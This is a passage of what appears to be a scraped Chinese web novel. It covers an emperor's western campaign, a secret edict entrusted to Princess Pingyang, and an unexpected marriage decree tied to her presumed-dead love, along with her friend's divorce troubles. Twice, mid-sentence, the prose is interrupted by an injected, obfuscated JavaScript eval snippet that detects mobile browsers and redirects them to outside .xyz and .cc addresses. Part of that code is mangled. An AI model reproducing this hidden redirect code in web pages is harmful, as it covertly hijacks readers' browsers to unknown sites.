这不年不节的,哥哥会有什么事?她带着疑惑一路来到太极殿。叶皓身边的中官已在大殿外等候,见公主来,立即行礼问安带她入内。 殿内庄严肃穆,不闻一声,叶皓坐于书案旁批写着奏折,身边侍立的中官、婢女皆垂手低眉,甚至听不见呼吸声。 帝王身着玄色龙衮坐于龙椅之上,庄重端庄,令人肃然起敬。她不自觉地要跪拜下去,却听叶皓说道:“免礼,赐座。” 她愣愣了地看着叶皓,若不是亲眼看见叶皓的真容、听见他的声音,她以为这这人是叶钧。 但这位置原本就是叶钧的,是叶皓活成了叶钧的样子。 坐定后,叶皓坐于她对面,屏退了所有人,说了要对百高开战一事,她没有惊讶,当日于文则发难于她,她便已猜到此事。 “怎么,真的不问世事了?”叶皓见她没有回应,便敲了敲她的头:“抄经抄傻了吧!” 这一举动,才让暖暖确定此人还是她四哥,心中松了半口气:“我知道你是要为秦羽、要为长右山报仇。” “是,筹备了这几年,终于可以复仇了。”对着知情人,叶皓语气也不再严肃,自从暖暖助他登帝位后,他夙兴夜寐、宵衣旰食,只为了能早日复仇。 暖暖说道:“既然决定了,那就去做吧,我能帮你些什么?” “好好等我们回来!” 暖暖双手合十放于胸前:“那我多抄些经文,向佛祖祈求庇护,保佑大梁取胜,保佑哥哥平安。” 叶皓哑然一笑:“算了吧,都说心诚则灵,你虽日日礼佛,但有几分诚意?不过是想逃避罢了。” 暖暖的心事总是这样轻而易举地被他揭穿,她小心翼翼包裹起来的伤口,如今又重见了天日,只觉得疼痛无比。其实在哥哥面前,她无需掩饰这些,只是回来 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叶皓饮了一口茶后说道:“开战之前,将太一玄门剑法教授于我。” 暖暖有些愧疚,这剑法是冷逸尘留个她最后的东西,她却未能学精学透:“可我并未学会,反而为其所伤。” “这不怪你,也不怪长风,剑法要与心法互相配合,而心法,估计我师傅他也没有研究透彻。” 暖暖更加迷茫:“那我要怎样教你呢?” “先学剑术,我自会研究心法。” “可……只怕剑气会反噬。”暖暖十分担心,她亲自经历过,这伤害可不小。 “放心,我好歹也是长右山弟子,对师傅的路数还是了解的。你看长风,即使练到了你这境界,但不会伤害。” 娘娘疑惑地看了他一眼:“你怎么知道?” 叶皓才发觉说错了话,解释道:“有些东西,只可意会不可言传,他什么水平,我自然知道。师傅教的东西,你要用心去理解。” “用心去理解……”这是在指责她学艺不精吗?暖暖有些生气,翻了一个白眼:“可你们这剑法本就不全,我又不是你们长右山弟子,自然领会不到真谛!” 叶皓看着她这样子却放心下来,他担心她会就此沉沦下去,现在看来是他多虑了,他笑道:“好,好,你只管教招式,其余不用管。 二人约定,此后每日清晨在后苑开课,暖暖自认很有天赋,这剑术不到一年便已学会,但见叶皓之才,才真正理解了“天外有天、人外有人”这句话。 两个月后,招式尽数学完,叶皓便不再需要暖暖,而是随便找了个借口,将国事全权交给叶均,闭关潜心研究心法。 期间他根据剑法领会心法,之后再将心得书信于冷逸尘,二人互相揣摩纠正,竟在一个月后将一套完整的心法总结出来。 如此,一套完整的太一玄门剑法,在两代人的努力下得以问世。 剑法练成之日,冷逸尘起身去了一趟长右山,置酒备馔,已告慰师傅荀秀峰在天之灵。 他看着昔日的宗门破败不堪,心中很不是滋味,但也不知道此去还能否再归来,重振师门一事便未敢轻易承诺于师傅灵位之前。 下山后,他本想直奔招摇山,却收到叶皓送来到一封信。 140. 抚剑望西南 剑术练成之日,战争之事也被叶皓提到朝堂上,果然不出所料,大多数朝臣并不支持,认为这几年与百高相安无事,没有必要再打这一仗。 但好在叶均支持他,梁国与白高国之恩怨,叶钧一清二楚,白高人狼子野心,不给他致命一击,于梁国来说是后患无穷。 战事已定,转瞬年关,朝堂上下皆为战事做准备,除了宫宴,暖暖几乎没见到过叶皓。 对此次征战,她十分担忧,想得到出征的消息,但又怕听到出征的消息,甚至不敢去太极殿探望。 她能做的只有日日抄写经文,一是为了安稳自己的浮躁的心,二是真心为三军祈福。 正月十五宫宴后众人散去,叶皓将她留下,拿出两坛酒,说道:“这酒可是专门给你留的,今日有空,一醉方休?” 暖暖摇摇头:“还是等你回来再喝吧,今日月明中天,出去走走可好?” 叶皓看看酒,又见她情绪低落,便同意了。 二人出门,侍从无数,前方四人提着灯笼引路,后面跟着一众中官侍女手执暖炉茶具,准备随时侍奉。 在众人面前,二人无法开口,默然行了一段路,到了梁宫宫门处。 暖暖向宫门旁的台阶走去,叶皓示意众人停下,提过一盏灯笼,随她一起上了宫门城墙。 “什么时候出征?”暖暖打破沉默。 “后日。” 暖暖听完,心中微微一颤,这一日终是到来,她转过头,看着叶皓被灯笼映红的面庞,眼睛中也似有烛光在跳动。 叶皓目光却转向城墙外,不敢看向她。 “你可曾后悔将我推上这个位置?我可曾令你有过失望?” 看着宫城外的繁华人世间,他深深叹息,在位这两年,裁汰冗官,整顿吏治,重农抑商,兴修水利,且这两年无战事,百姓得以休养生息,梁国确实物阜民丰起来。 但这一系列政策,却妨害到了不少权贵的利益,他在朝堂上的阻力很大,日子过得也艰难。 这帝王之上,他孤独地守望着,王冠之下,他虽心累,却不敢疲惫,不敢有半分懈怠。 这天下臣民对他认可与否他不在乎,他在乎的是暖暖的看法,他的所作所为是否对得起她的选择与付出。 “你比我想象的做得更好,日后到九泉之下,父皇知道这盛世,会原谅我的。” 这话让叶皓微微一怔,有些不敢相信地看向她,才发现她正目光坚定地看着自己,心中也多了一股温暖。 头顶上的红灯笼随风摆动,红光闪烁不定,在他二人身上明明灭灭。 “咚咚……”的声音自远方传来,闻声望去,天上的明月与地上的灯火相辉映,中间的天空中炸开一朵朵烟花,但这天地之间似乎安静下来,只能看见花火的亮光。 “这样的烟火,他再也看不到了!”暖暖忽觉心中酸涩不已,低下头去,喃喃地说道:“哥哥,我想到维扬去。” 这句话没有得到回应,却只听得一句:“平阳公主叶青听旨。” 叶皓严肃的声音,吓退了她所有的情绪,她不知他为何这样说,一时反应不过来,只抬头愣愣地看着他。 “跪下!”叶皓命令道,此刻,他又成了那威严不可冒犯的帝王。 她只得跪拜下去。 “平阳公主叶青听旨:朕此去剿敌寇、安社稷,命平阳持密诏留守京中,若朕遇不测,平阳当依诏行事。此诏付平阳,再四慎之,勿负朕意。” 暖暖大脑一片空白,一如回到了那年后苑的经堂内,她的父皇也是这般将密诏交给她。 叶皓说罢,从怀中掏出一个锦囊,见她不动,重重地说了声:“接旨!” 暖暖双手举过头顶,小心翼翼地接下锦囊,这锦囊似有千斤重,压得她颤抖起来,深吸一口气后抬头看向叶皓,缓缓说道:“臣平阳……接旨。” 锦囊交出后,叶皓彻底松了一口气,此后他便无后顾之忧,若他身死,也可以给天下一个交代了。 正月十七,三军出征,百官相送,留叶均监国,朝堂上下一切照旧。 彼时夏萱又有身孕,淑太妃命其搬入梁宫与长公主同住千秋阁,增派人手照顾二人及几个孩子都起居,又命暖暖陪她每日到佛堂诵经,为大梁祈福。 暖暖将锦囊贴身收藏,她能猜到里面的内容,一定是叶皓交代的后事,将帝位还给叶均。虽然这样才是正统,但她却不希望这锦囊见到天日。 《易经》有云: 屯,刚柔始交而难生,动乎险中,大亨贞。 雷雨之动满盈,天造草眛,宜建侯而不宁。 战争进行到一半时,梁军攻入百高腹地,紧逼都城,便有使者来讲和,被叶皓强势拒绝。 此战绝非他即景之兴,定要这兵气化为王气才肯作罢。 立秋这日,大捷的消息传入京城,叶皓于前线发来旨意:朕以不德,肇受元命,夙夜兢兢,不遑假寝。思平世难,救济黎庶,上答神明,下慰民望。西境一统,国事安定。大赦天下,与之更始,明下州郡,咸使闻知。 得知这个消息,暖暖在佛堂长跪不起,半年多的诚心祈祷终于如愿,是神佛保佑,是人事使然,也是天意如此。 三军将士陆续回京,却不料帝王銮驾行至西南,叶皓忽然想要巡视蜀中,叶均多次上书,请求陛下尽快还朝,可他却无视奏折,一意孤行。 只有暖暖知道,他这是要登招摇山,报师门之仇,多年筹谋,皆是为了这一刻。 之后接连两个月没有传来任何消息,先归京的将士倒是带回来不少英雄事迹,成了街头巷尾乃至说书人口中的谈资。 传闻如风,吹遍了这个梁京,暖暖这个整日闷在佛堂中的人,都听到了一些佚事。 后宫不得干政,但不妨碍宫中侍女们的窃窃私语。 这日,暖暖从佛堂归来,发现丢了一只簪子,左右无事,便携了舒雁与冰绡二人回去寻找,却悄悄看见几个侍女偷懒,围在一起闲话。 “陛下快还朝了,定是公主日日祈祷感动了神佛,这次陛下新提拔了不少将帅,皆是年轻有为。” “听闻陛下与一位将军一见如故,直接封了异姓王,封了什么燕山王,这将军也不负圣意,连连取胜。” 接着声音被压低:“还听闻陛下与这将军关系甚是亲密,甚至夜间都不让其离开营帐,莫非真如传闻一般?否则这么些年来,陛下为何不立后纳妃,连个贴身侍婢都没有……” “难道陛下不是为了公主……” …… 听到此处,冰绡攥紧了拳头,欲上前去,却被暖暖拦住,暖暖对她轻摇了一下头,又看了舒雁一眼。 舒雁意会,行礼后朝那些婢女走去。 “公主,您也太宽容了!”冰绡心中很是担忧,这话在背地里不定传了多久。 暖暖却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016515|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无甚情绪:“舒雁一去,她们便知我在此,不必为这点儿事让她们下不来台面,受到责罚。” “是……” “冰绡,我打算等陛下回来就去维扬,你有什么打算吗?” 冰绡听完,眼中闪过一丝错愕,立即跪下:“公主是不要属下了?是属下做错什么了吗?” “你该有自己的人生,等拿到籍契,就离开吧,去过自己想过的生活。” 冰绡叩首:“身入营侍卫,非死不得出,属下愿终生侍奉在公主身边。” 暖暖叹了口气,将她拉起来,想着一时半会儿是劝不动的,等她想通了自然会做出决定。 待她刚要抬脚向佛堂走去,就听见身后传来声音:“公主且慢。” 一个小中官行礼问安后说道:“启禀公主,太妃娘娘召您到千秋阁,与长公主、成王妃一同议事。” 暖暖刚想吩咐冰绡叫回舒雁,却见舒雁拿着簪子归来:“回禀公主,奴婢已经斥责那几个侍婢了,簪子被她们捡到,正欲送还,奴婢便私自主张,算她们将功折罪。” “很好。”暖暖满意地点点头,侧过头让她将簪子簪在发髻上,之后便随小中官去往千秋阁。 千秋阁内,长公主抱着三个月瑞儿,淑太妃握着孩子的小手笑着说道:“瑞儿是这几个孩子中最结实的一个,看这小手上的力道……” 夏萱本来担心自己年岁大了,生下的这个孩子会体弱,但见他平安诞生、身体康健,才渐渐消了心中的不安,也笑道:“全托太妃与长姐护佑,将孩儿接到您身边安胎,否则还不知道是个什么样子。” 淑太妃将孩子的手从嘴边拿开,吩咐奶娘带去喂奶,之后略带责备地说道:“老三也真是的,政务再忙也不该连家都不回,丢你一个人带着三个孩子在王府里,着实该打。” 长公主出言缓解气氛:“太妃莫怪,陛下将朝政这么重的担子托付给三弟,三弟自然要尽心尽力。” “这陛下也是倔,从中良将无数,非要亲征……”淑太妃双后合十放于胸前,念了声“阿弥陀佛”后说道:“佛祖保佑,陛下平安归来,等陛下回来后,你们二人要劝说陛下立后一事。还有暖暖,年岁不小了,此事也该向陛下提一提,不要让外人说出什么来才好。” 她虽没有明说,但其中意思不言而喻。 夏萱与长公主对视一眼,夏萱说道:“近来倒是有不少请求尚公主的帖子,但是成王殿下没有一个中意的,也不知这次提拔的将领中,有没有文武双全之才。” 长公主心中默默叹了口气,直言道:“即便是有,可一个个刚立了军功,怎么会甘愿卸任。再者,六妹妹娴静,应该配个文官更合适。” 淑太妃还想说什么,便有侍女来传信:平阳公主到。她立即示意二人不要再提此事。 暖暖进来,各自问安,淑太妃与她说了瑞儿的满月宴之事和陛下还朝后的庆功宴一事。 前线将士辛苦,但朝中百官亦不轻松,庆功宴该是叶皓与叶均在前朝安排,但是少不得要后宫宴请文武要员的家眷,以酬谢祝贺。更何况此次提拔了新官员,这宴会更新旧官员之间联络感情、增进友谊的机会。 夏萱身体还弱,担不得此事,且不便出面,淑太妃只能将事情交给了长公主与暖暖二人。 暖暖知此事推脱不得,痛快地一一应下。 正说着,忽然外面声音响起:“平阳公主叶青接旨。” 141. 沉忧乱人心 众人听了皆惊奇:惊的是,这陛下人还未到京城,这圣旨就先到了;奇的是,这圣旨竟然是给暖暖的。 究竟会是什么大事,让陛下如此焦急?来不及猜测,众人一齐出门跪迎。 传旨的中官打开圣旨,念道:“平阳公主叶青,毓质淑慎、才德兼行,朕代先帝择婿。燕山侯凌氏长风,骁勇善战、才德兼备,正合公主下降,命择吉日备典完婚。” 竟然是赐婚的圣旨! 暖暖并未在意这赐婚,只是圣旨上这个熟悉又陌生的名字,让她不知所措。难道是同名同姓之人?不对,燕山侯,燕山侯……他没有死?是他回来了…… 这事出乎了所有人的意料,夏萱等人虽垂着首,但却私下里互相看了看,之后都将目光投到了暖暖身上,只见她一动不动,并未有接旨的意思。 传旨的中官笑着说道:“恭喜公主、贺喜公主,此圣旨乃是八百里加急送入京城,请公主接旨,不要辜负圣意。” 暖暖依旧未动,恍若未闻。 夏萱当她是被惊住,跪着挪向她,握住她的手腕使劲摇了摇,她这才缓缓直起身来,不言也不语。 夏萱又将她的手腕举起将圣旨接过,替她说道:“平阳公主领旨,谢陛下隆恩。” 虽然平阳公主单手接了圣旨,总好过拒旨不接,那中官也似乎松了口气:“好,好,奴才这就回去向陛下覆命。” 夏萱向他道了谢,又给了青琚一个眼色,青琚意会,立刻请那中官去喝茶。 众人一齐拥着暖暖进入殿内,暖暖木然坐下,打开圣旨,盯着“凌氏长风”几个字。 “陛下怎这样草率就定下了这婚事!”淑太妃十分不满,看向暖暖的目光中满是可怜,两次婚姻,竟由不得这孩子一点,却也无奈,生在帝王家,又有哪一个能独善其身? 长公主也上前安慰道:“妹妹放心,陛下能看得上的,定是才貌双全之人。” 见暖暖仍不语,只是直勾勾地看着圣旨,怕说错了什么勾起她的旧疾,于是转身对夏萱小声说道:“你是看着她长大的,她与你更亲厚些,事已至此,你好好劝劝她,我与太妃先去看看孩子。” 夏萱心中后悔刚才说过的话,竟是一语成谶,点头道:“放心!” 之后她命侍女皆出去,殿内只剩姐妹二人,她从暖暖手中拿过圣旨,轻轻地叫了一声:“暖暖?” 暖暖也的确被震惊住了,反复确认着一个事实:他还活着! 这个事实没有给她带来喜悦,反而令她的身体有些麻木,听到夏萱叫她,才缓缓抬起头来,眼中尽是迷茫。 她虽然反应些迟钝,但也大概猜测出了真相,不由得自嘲地笑了起来,自己就是个笑话,被叶皓与冷逸尘这对比亲兄弟还亲的兄弟,当成傻子一般戏耍。 从最开始二人就隐瞒关系,到她失忆后叶皓的骗局,再到此次冷逸尘的谎言,自始至终,他二人就没有将她当成自己人。 是啊,他们是长右山的人,家国与师门,哪一个都比她重要,她算什么呢?他们的附属品罢了。 她想笑,笑自己的愚蠢,笑自己的可怜,笑自己这亲情、爱情都是一场空。 寒冷,从心底钻出的寒冷,像藤蔓一样紧紧将身体缠绕,她用双臂紧紧地将自己抱住,试图温暖起来。 夏萱看着她这个样子,心中十分担忧,上前紧紧将她抱住,刚想劝慰,却听她说道:“姐姐,他又骗了我!不,是他们又骗了我!我在他们心中,什么也不是……” 她抬头,让泪水倒回去,这眼泪,不值得为他们而流。 夏萱听不懂其中的意思,以为她是受了刺激,害怕起来:“你别吓我,到底是怎么回事?怎么这又哭又笑的?” 暖暖深吸一口气,装作平常模样,浅浅一笑:“姐姐放心,我很好。” 这些不着边际的话和她这样子愈发让夏萱担心,正欲问个清楚,她起身告辞,之后快步出了殿去了。 “你去哪里?”夏萱也追上去,却被门槛绊住,幸而青琚及时赶来扶住。 夏萱顾不得什么,焦急地说道:“快去把公主追回来,她这个样子,怕是要出事。” “王妃放心,有舒雁与冰绡在,公主不会有事。” “你们都让我放心,可我怎么能放心。”夏萱急得眼泪都要掉下来,“快去,快去请殿下。” 青琚还从未见主子如此慌乱过,此刻她要稳住阵脚:“已经命人去请了,安神汤药也煮上了,一会儿奴婢亲自去送。”之后压低了声音,“那传旨的中官嘴严得紧,只说这凌将军绝对配得上公主。” 她犹豫了一下,还是说道:“奴婢猜测,怕是这位将军功高震主,陛下欲收回兵权,故而命其尚公主……” 夏萱听完,一阵凉意自脊背而起,迅速蔓延到四肢百骸,她想到了叶均。陛下即位后,虽事事依赖叶均,放权于叶均,但帝王就是帝王,卧榻之侧岂容他人酣睡,还未归京就开始处置有军功的将军,也全然不顾亲妹妹的意愿与感受。 这担忧不是因青琚的话而起的,而是埋在她心底很久了,只是陛下对她夫妻二人的态度一如从前,也让她怀疑是不是自己多想了。但现在看来,这帝王眼中,大约已没了骨肉亲情,剩下的只有权利与野心。 她有些站不稳,面色已然变得苍白,不敢想象陛下归京后等待她们的会是什么。 青琚见王妃如此,知她心中所想,只得安慰道:“王妃要注意身子,请王妃先去休息,殿下一会儿便过来了。” 夏萱无力地点点头,青琚将她安置在床上,命人好生看守,再次派人去请成王殿下,之后带人端了安神的汤药来到金华殿。 半个时辰后,叶均到来,夏萱像是抓住了救命稻草,哭诉前情。 叶均思忖片刻后宽慰道:“你不要再忧心,只管养好身子,陛下不是这样的人,我也自有分寸,待陛下归京后咱们就搬回王府去。” 他如此说,自然是心中有根据,他笃定叶皓绝不是这样的帝王,再者他对这个新晋的凌将军颇有疑惑。军中传回的消息,皆说此人堂堂正正、一表人才,文韬武略、运筹帷幄,但却没有此人身世的信息。他也暗中查访过,竟查不出一点家世出身,即便是天神下凡,也要有个名目来路,可此人竟如凭空出现一般。 还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15045656|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,即便是叶皓要收回此人手中的权利,也不该如此心急,而是要等到归京论功行赏后再做定夺,如此行事,只怕会寒了万千将士的心,这么浅显的道理,叶皓不会不懂。 叶均相信,此事必有隐情,但碍于朝政之事,也不便多告知于夏萱,只告知她自己会小心谨慎。 此时青琚回来覆命,并奉上暖暖亲笔:此乃圣明,我惟从命耳。 这几个字写得并不规整,可见写字之人是忍着手抖写下的,落笔又重,字里行间透出的皆是愤怒。 的确,暖暖提笔时的手在颤抖,不知道自己该有什么样的情绪,不知道要如何面对。 她希望失而复得,但更害怕重蹈覆辙。 所以当青琚送来安神汤药时,她毫不犹豫地饮了下去,只求逃离现实,可这汤药似乎没那么有效。 舒雁见公主瞪着眼睛发呆,便上前来跪在脚踏上,担忧说道:“公主可是哪里不舒服?” 冰绡却说道:“公主服过了宋神的药,再用其它的便不管用了。” 暖暖坐起身来,摸出叶皓留下的锦囊,细细回忆这半年的事情。得知冷逸尘的死讯,他为何没有悲伤?太一玄门剑法,他在短短月余就能勘破其中玄机,绝非他一人之力能及;还有他那句“他一直都在”…… 只怕是他早就知道冷逸尘未死,二人早已串通一气,徒留她一人在悲伤中绝望,而这锦囊,就是他们困住她的枷锁。 越想越气,暖暖猛然坐起身来,狠狠将锦囊砸到地上,命令众人:“即刻出发,去维扬。” 她再也不想见到他们! 舒雁与冰绡对视一眼,知道公主怒气正盛,不敢违逆,只能一面去告知成王妃与长公主,一面去安排车架。 长公主闻讯而来时,暖暖已换好衣裙,正欲上肩舆。 “妹妹且慢……”长公主上前拉住暖暖的手,“妹妹不可这般任性!我知你是与陛下赌气,此事虽是陛下不妥,但定有他的道理,你贸然离京便是抗旨不遵。再者,太妃与成王妃,一个风寒才好一个刚生完孩子,身子骨都还弱,你忍心让她们担忧吗?” 暖暖已冷静下来,紧紧握住手中锦囊,似乎想将它捏碎。她出来殿门时,回看了一下锦囊,终究还是将它拾了起来。 “妹妹,听姐姐一句劝,暂时留下来,若实在不愿意这门亲事,等陛下回来我们再去劝劝陛下。” “是我太冲动了,但我也不想住在这里。”暖暖的声音很低,叶皓即将归京,她惹不起但躲得起。 “那就回公主府去住几日,你府上离宫不远,咱们有什么事能能互相照应。” 见她话风松动,长公主选了这个折中的法子,之后吩咐舒雁与冰绡要好生照顾公主,有什么事立即到宫中禀报,并安排了四名侍女及四名中官相随,之后传出消息:西境大捷,公主抄经百遍以还愿。 如此的目的便是不让外人去打扰暖暖,而暖暖也正希望如此。 但三日后,师家送来拜贴。师英玉要来拜访,自然是要见的,她未回帖,立即命人驾车去接。 可再见师英玉,暖暖却愣住了,她的变化怎么会这么大? 142. 杯敬予故人 师英玉一身妇人装扮,风尘仆仆地下了马车,眉间的愁绪是暖暖未曾见过的,她再不是那英姿飒爽的女将军。 看着暖暖的神情,她知道在疑惑什么,说道:“怎么?我这样子出乎你的意料吧!” 暖暖点点头,随后发觉不妥,否认道:“没有……只是咱们许久未见的缘故。” “变了就是变了,你我之间有话就直说。” 这话让暖暖放下心来,直言道:“你怎么这个样子?” “赶了两日的路,今日才进京,到家还没一盏茶的功夫,就被你的车架接到这里,索性就搬来与你同住。”师英玉说着,着人将车上的物品卸下,搬入公主府内。 暖暖见她疲惫,立即命人准备热汤沐浴,又安排人去三元楼订些菜肴酒馔送到府上,二人许久未通信,一会儿可要好生叙叙旧。 花园水榭中,二人对坐共饮,师英玉梳洗过后换了新衣,才恢复了先前的几分神采。 暖暖为她倒了酒,问道:“姐姐可是从军中而来?” 她这一问,有几层意思,一是表面意思,二是为叶皓与冷逸尘担心,三是想探探叶皓的态度,只是她自己都没有意识到这些。 “你看我那套衣裙,我若从军中来,岂会穿成这样?”师英玉并未想那么多,痛饮一杯,“好酒!” 暖暖看她这样,像是被禁锢了许久,今日才得自由的样子,于是目光中带上了疑惑。 师英玉轻轻一笑,补充道:“我与婆母一同进京,这次回京是等伯父归来后与程家族老商议和离一事,幸亏你来得及时,不然我在程家也尴尬……” “什么?”暖暖没有想到她会这样说,惊得被半口酒呛住,边咳边问:“你说什么?” “和离!”师英玉再次平静地说出了这两个字。 暖暖擦着被呛出的泪花问道:“为什么?是程将军待你不好吗?还是婆母不好相处?” “婆母是个好相与的,程旷他……人很好,精明强干、沉稳内敛,只是与我不合适。” “怎么个不合适法?” 师英玉扶额思考良久,才说道:“怎么不合适呢?我说不上来,算是性格不合,他与我成婚只是父母之命,我从未在他身上感受到热情,反而将我的热情一次次浇灭……” 这话让暖暖有些费解:“你的意思是,你喜欢他,他不喜欢你?” 师英玉边思考边回答:“他那样的性格更适合娶一位温婉淑女为妻,而我……只是对他有好感。” “答非所问!”暖暖又为她倒了一杯酒。 “暖暖,此处无人,我与你说说心里话……”师英玉端着酒杯站起来,走到栏杆边看着水中的游鱼,缓缓说道:“此生,唯一能让我心生悸动之人是任泽生,直到现在我还会梦到他,梦里我依旧为之倾心。” 暖暖也起身,看着鱼儿沉入水底,想着泽生的态度,为师英玉感到不值,但她怎能告知实情,只感慨道:“人心易变,他在你的记忆中愈发美好,实际上不知道会是什么样子。” “我知道,任泽生是个浪荡子,我不该喜欢他,可是感情这东西控制不了,对他那种爱恋的感觉,我以后再也没有过,包括程旷。” 师英玉说着,声音低沉下去,似乎在怀念与泽生相处的时光。 如此得陇望蜀,暖暖自然是不赞同的,毫不留情地指责道:“这便是你不对,旧情难忘,又为何要与程将军成婚?如此说来,倒是程将军无辜。” “哼!你是不是我姐妹?感情这事如人饮水冷暖自知,你又不是没经过历过,反倒来说我!” “我……” 暖暖一时语塞,这令她不得不想到与冷逸尘的过往,她承认她爱过,而且还是两次,只是每次都是不明不白地分开。 师英玉饮尽杯中酒:“我意已定,亡羊补牢,犹未迟也。人生苦短,不能把时间都浪费在不值得的事上。”之后又反问道,“你的婚期可定了?” 提起此事,暖暖苦涩一笑,坐回原处,继续倒酒:“不提此事,喝酒。” “此事你可不能怨陛下,听闻那凌将军为救陛下身负重伤……”师英玉转身,目光追随着她,只见她听到“身负重伤”这几个字时,手抖了一下,酒全倒在酒杯外。 师英玉替她收好酒壶,调侃道:“你看你,这么快就紧张自己的郎君了?” 暖暖艰难地吐出几个字:“他……伤得可严重?” “放心,死不了,凌将军负伤后当着众将士面,向陛下求娶平阳公主殿下……你说陛下如何不应?我说你什么时候招惹了这么个人物?” 师英玉见惯了沙场重伤,她口中的“死不了”应该是伤得不轻,暖暖忍不住问道:“你亲眼所见?” “没有,听我伯父说的,西境之战我未去前线,只在后方监管粮草。” 暖暖用帕子一点点擦着酒渍,轻声说道:“姐姐可知他是何人?” 师英玉摇摇头:“不知,就连我伯父也不清楚,怎么就平白无故地冒出这么个神仙人物来。” 暖暖沉默了一会儿,终是道出实情:“他是祁囯崇宁王,冷逸尘。” 这次轮到师英玉大吃一惊,一口酒全都喷了出来:“什么?你说什么?” “你没听错……他就是昭阳公主的夫君……”暖暖没有继续说下去,她不知该如何继续说下去。 师英玉震惊之余四下看了看,小声说道:“你要小心,这府中隔墙有耳……他为何在这里?陛下知道吗?” “我不知他二人是何时密谋这一切的。” “瞧我这记性,陛下在重峪关与他有过一战,怎会不认得他!他可是追随你到梁国来的?” 暖暖瞥向远空中的流云,自嘲一笑:“我哪里值得他这样选择!” “非也!非也!他好好的祁囯亲王不当,何苦到梁国来赴汤蹈火,我想大概是为了弥补对你的亏欠……不过此人心机倒是深沉,知道你不会原谅他,便靠上陛下这棵大树。” “心机深沉”,暖暖觉得用这个字眼来形容冷逸尘倒是贴切,这不冤枉他,但他就好在心地纯善这一点上,依他的心计,哪怕有一点坏心思都不会是今日这般结局。 至于冷逸尘为何会这样选择,这其中原委,她不能多说,只辩解了一句:“或许他还有别的缘由。” 师英玉听完一笑,提起酒杯:“你呀!心中还是向着他的,这么些年将自己折腾成这样,还不是因为放不下他,我提前祝你们百年好合。” “借姐姐一句话,他人很好,可我……不想回头了……”暖暖这句话说完,心中有了抉择,但酸涩感一下充斥整个胸膛,她使劲忍着,才没有让这些情绪从眼中溢出来。 “你这话是真心话吗?若是决定了,就去和陛下说明,他还能把刀架在你脖子上,逼你成婚不成?” 暖暖也提起酒杯:“同姐姐一样,我意已决,等陛下回来我就去提退婚之事,纵然他是帝王,纵然他是兄长,也没有权利来决定我的事!” 这次轮到师英玉摇头叹息,暖暖的性子她了解,别看她此时决绝,到关键时候又会犹豫,可不管怎么选都没有关系,她都会支持她。 二人说话间已饮酒至黄昏,师英玉心中不快,加之旅途劳顿,醉意显现,由侍女引着回房休息去了。 暖暖命人撤了酒席,熏上茉莉香,提着一坛酒依着栏杆发呆,她看着酒坛上的“景芝”二字,忽然脑中记起一句话来:我酒量这样浅,你以后可还愿与我同饮? 不是不愿,是不能够了。 她抬手拂去一滴泪,起身在花园内漫步,回想过往,每次她下定决心去爱的时候,他就会将她抛下;每次她下定决心将他遗忘的时候,他又会突然出现。 一次又一次,让她如何敢再去触碰这个人,各自安好是最好的选择。 她狠狠地灌了一口酒,师英玉酒量也浅,这天下能与她同饮之人,大概只有叶皓了,而叶皓,也背叛了她。 之后的日子里,二人很默契地 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腊月二十七,师英玉要和伯父一起去程家商和离之事,前一夜二人又是一场宿醉,待暖暖醒来时师英玉正在梳妆,却是化作妇人装扮。 “姐姐少待,我陪你一起去。” “不用,我能应付得来,你只管在家给我备好酒席,回来咱们庆祝一番。” 师英玉说罢便离开了,可不到晌午便归来,面色严峻,事情似乎并不顺利。 她喝了口水,气呼呼地说道:“两家长辈倒是没说出什么来,只是程旷死活不在和离书上签字,众人也不劝说!” 暖暖命人为她打水换装,劝道:“宁拆一座庙不破一门婚,你要他们怎么劝?” “不劝便不劝罢罢,更有甚者,还没个结果他们就一起去了宴席,丢我们两个在一起。这程旷也不要皮面,说好的事不兑现,还死缠着我不让我回来。” 见她越说越气,暖暖担心到问道:他可对你动粗?” “他敢,便是不要命了!今日真是烦闷,咱们去骑马可好?” “好!” 暖暖痛快答应,之后备车更衣,正待出门之时,长公主派来人传话,说是请暖暖进宫商议宫宴之事。 这一听便知是叶皓的注意,既然要见何苦托他人?暖暖找了个由头回绝,与师英玉游玩到子夜方归,此后宫中竟没有消息或圣旨传来。 师英玉见她表面装得潇洒,其实晚间辗转反侧、彻夜难眠,于是劝说道:“就打算一直这样下去?你这样忤逆陛下,落到别人眼里,不是有损陛下的威严吗?” “此事是他不对,就该他来道歉。” 师英玉无奈:“陛下也就能忍得了你,再换第二个人都不行的,但你也不能恃宠而骄。 暖暖口头上应下来,可依旧未有行动,她不知该如何面对。 这一年春节,师英玉未去婆家,也未回娘家,而是留在公主府与暖暖一起度过,她感慨若无暖暖收留,这一年就要流落街头了。 暖暖感到惊讶,竟不知出了嫁的女子不可回娘家过年的习俗,可她的哥哥、姐姐从来没有在意过这些。 她承诺师英玉:只要有她在,她们永远一起过春节。师英玉笑着点点她的额头,没有说出心中的酸涩,天下没有不散的筵席,这样的日子又会持续到什么时候呢? 有人陪伴,这个春节便不显得寂寥与落寞。 正月初三,师英玉启程去徽州,暖暖送行,行至半路,师英玉却要求车架改路至南城门。 暖暖不解地问道:“不是该从北门走吗?怎么要绕个远? “程旷知道我今日出发,定在北门等我,不想再与他纠缠。”师英玉说完,拍了拍车门,告诉车夫再快一些。 